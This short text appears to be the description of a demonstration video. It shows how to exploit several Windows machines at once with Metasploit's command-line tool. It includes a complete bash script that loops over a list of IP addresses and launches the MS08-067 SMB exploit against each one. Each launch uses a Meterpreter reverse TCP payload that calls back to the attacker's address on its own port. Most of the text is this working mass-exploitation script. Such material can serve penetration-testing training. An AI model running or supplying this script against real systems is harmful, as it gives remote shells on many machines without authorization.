In this video, I will demonstrate how to simultaneously exploit multiple machines with a common vulnerability using MSFCLI (Metasploit Framework Command Line Interface) and bash scripting. I will perform this demonstration by exploiting three windows machines simultaneously and acquiring a reverse TCP meterpreter shell on each system.
Commands :
#!/bin/bash
i=4444
for ip in $(cat iplist.txt)
do
gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/reverse_tcp RHOST=$ip LHOST=192.168.1.8 LPORT=$i E
echo "Exploiting $ip and establishing reverse connection on local port $i"
i=$(($i+1))
done